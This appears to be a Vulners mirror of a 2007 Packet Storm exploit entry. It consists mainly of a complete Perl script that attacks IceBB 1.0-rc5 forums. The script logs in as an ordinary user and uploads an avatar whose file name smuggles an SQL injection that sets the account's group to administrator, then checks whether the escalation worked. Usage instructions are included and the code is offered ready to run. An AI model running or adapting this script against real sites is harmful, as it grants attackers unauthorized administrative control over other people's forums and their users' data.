Lucene search
+L

icebb-1.0.txt

🗓️ 27 Mar 2007 00:00:00Reported by Hessam-xType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 22 Views

IceBB 1.0-rc5 Remote Create Admin Exploi

Code
`#!/usr/bin/perl  
# IceBB 1.0-rc5 Remote Create Admin Exploit  
# 1. register a user  
# 2. run this exploit with this usage : $perl xpl.pl [host&path] [uname] [pass]  
# 3. login with admin access :)  
# - magic_quotes_gpc = Off  
#  
#### Coded & Discovered By Hessam-x / Hessamx-at-Hessamx.net  
  
use LWP::UserAgent;  
use HTTP::Cookies;  
  
$port = "80";  
$host = $ARGV[0];  
$uname = $ARGV[1];  
$passwd = $ARGV[2];  
$url = "http://".$host;  
  
print q(  
###########################################################  
# IceBB 1.0-rc5 Remote Create Admin Exploit #  
# www.Hessamx.Net #  
################# (C)oded By Hessam-x #####################  
  
);  
  
  
if (@ARGV < 3) {  
print " # usage : xpl.pl [host&path] [uname] [pass]\n";  
print " # e.g : xpl.pl www.milw0rm.com/icebb/ str0ke 123456\n";  
exit();  
}  
  
print " [~] User/Password : $uname/$passwd \n";  
print " [~] Host : $host \n";  
  
$xpl = LWP::UserAgent->new() or die;  
$cookie_jar = HTTP::Cookies->new();  
  
$xpl->cookie_jar( $cookie_jar );  
  
  
$login = $xpl->post($url.'index.php',  
Content => [  
'act' => 'login',  
'from' => 'index.php',  
'user' => $uname,  
'pass' => $passwd,  
'func' => 'Login',  
],);  
  
if($cookie_jar->as_string =~ /icebb_sessid=(.*?);/) {  
$cookie = $1;  
print " [~] Logined ...\n";  
} else {  
print " [-] Can not Login In $host !\n";  
exit();  
}  
  
$badcode = "', user_group='1";  
$avat = $xpl->post($url.'index.php',Content_Type => 'form-data',  
Content => [  
'avtype' => 'upload',  
'act' => 'ucp',  
'func' => 'avatar',  
'file' => [  
undef,  
'avatar.jpg'.$badcode,  
Content_type => 'text/plain',  
Content => 'MYAVATAR',  
],  
'submit' => 'Save',  
],  
);  
$test = $xpl->get($url.'index.php');  
if($test->as_string =~ /Admin Control Center/) {  
print " [+] You Are admin Now ! \n";  
} else {  
print " [-] Exploit Failed ! \n";  
}  
print "\n #################################################### \n";  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

27 Mar 2007 00:00Current
7.4High risk
Vulners AI Score7.4
22